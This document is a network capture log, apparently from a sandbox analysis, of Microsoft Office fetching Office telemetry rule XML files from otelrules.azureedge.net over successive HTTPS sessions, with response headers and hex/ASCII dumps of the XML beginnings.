2024-10-18 22:14:08 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.10	49891	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:09 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:09 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:09 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 038d01e8-201e-00aa-60d8-1e3928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221409Z-16b659b4499j6g8p9q09hdsh100000000b4g00000000wasy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 22:14:09 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.10	49892	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:09 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:09 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:09 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: 55805c6b-301e-0052-57c0-2065d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221409Z-16b659b44995jvf4d4dghwrdp400000001h00000000061v3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:14:09 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.10	49893	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:09 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:09 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:09 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 7ef379bb-e01e-0051-73d8-1e84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221409Z-r197bdfb6b4sn8wg20e97vn7ps0000000c7g00000000e68u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:14:09 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.10	49894	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:09 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:09 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:09 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: fc95421b-c01e-00ad-2cd8-1ea2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221409Z-r197bdfb6b4cz6xrsdncwtgzd40000000cd0000000002md1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:14:09 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.10	49895	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:09 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:09 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:09 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: a7e9f50c-901e-005b-39d8-1e2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221409Z-16b659b4499v5jm96nrcwszga00000000ak000000000b9qp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 22:14:09 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.10	49896	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:10 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:10 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:10 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 90cacb5b-701e-001e-72d8-1ef5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221410Z-15b8d89586f989rks44whx5v7s00000005tg0000000046ee x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:14:10 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.10	49897	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:10 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:10 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:10 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: ef4586f8-601e-0070-768a-21a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221410Z-r197bdfb6b4vlqfn9hfre6k1s800000003q000000000uv3u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 22:14:10 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.10	49898	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:10 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:10 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:10 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: 9fdd2f90-201e-000c-41d8-1e79c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221410Z-r197bdfb6b4rt57kw3q0f43mqg00000003cg00000000qaf9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:14:10 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.10	49899	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:10 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:10 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:10 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 0c00f04d-601e-0084-4dd8-1e6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221410Z-15b8d89586fcvr6pym2snavm4w00000005x0000000001k1v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:14:10 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.10	49900	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:10 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:10 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:10 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: 83da9966-501e-0064-2a98-1f1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221410Z-r197bdfb6b42sc4ddemybqpm140000000cbg000000001t35 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:14:10 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.10	49901	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:11 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:11 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:11 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: caad5b66-c01e-0034-07d8-1e2af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221411Z-16b659b4499z4tq4vyreufa8gn00000008b000000000s572 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
